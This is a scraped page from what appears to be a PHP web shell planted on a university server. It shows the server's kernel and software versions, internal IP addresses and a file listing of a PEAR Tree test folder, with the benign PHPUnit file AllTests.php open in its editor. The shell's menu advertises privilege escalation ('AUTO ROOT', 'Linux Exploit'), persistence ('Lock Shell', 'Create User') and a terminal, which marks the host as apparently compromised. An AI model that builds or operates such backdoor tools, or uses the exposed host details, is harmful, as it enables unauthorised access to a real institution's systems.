Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
test /
Tree /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
AllTests.php
1.23
KB
-rw-r--r--
getElementTest.php
5.25
KB
-rw-r--r--
getIdByPathTest.php
1.5
KB
-rw-r--r--
getLevelTest.php
1.43
KB
-rw-r--r--
getPathTest.php
1.46
KB
-rw-r--r--
moveTest.php
4.97
KB
-rw-r--r--
removeTest.php
3.84
KB
-rw-r--r--
sql.php
1.53
KB
-rw-r--r--
TreeHelper.php
3.89
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AllTests.php
<?php // Keep tests from running twice when calling this file directly via PHPUnit. $call_main = false; if (strpos($_SERVER['argv'][0], 'phpunit') === false) { // Called via php, not PHPUnit. Pass the request to PHPUnit. if (!defined('PHPUnit_MAIN_METHOD')) { define('PHPUnit_MAIN_METHOD', 'Tree_AllTests::main'); $call_main = true; } } require_once dirname(__FILE__) . '/TreeHelper.php'; class Tree_AllTests { public static function main() { if (!function_exists('phpunit_autoload')) { require_once 'PHPUnit/TextUI/TestRunner.php'; } PHPUnit_TextUI_TestRunner::run(self::suite()); } public static function suite() { $suite = new PHPUnit_Framework_TestSuite('PEAR::Tree Unit Tests'); $suite->addTestFile(dirname(__FILE__) . '/getElementTest.php'); $suite->addTestFile(dirname(__FILE__) . '/getIdByPathTest.php'); $suite->addTestFile(dirname(__FILE__) . '/getLevelTest.php'); $suite->addTestFile(dirname(__FILE__) . '/getPathTest.php'); $suite->addTestFile(dirname(__FILE__) . '/moveTest.php'); $suite->addTestFile(dirname(__FILE__) . '/removeTest.php'); return $suite; } } if ($call_main) { Tree_AllTests::main(); }
Close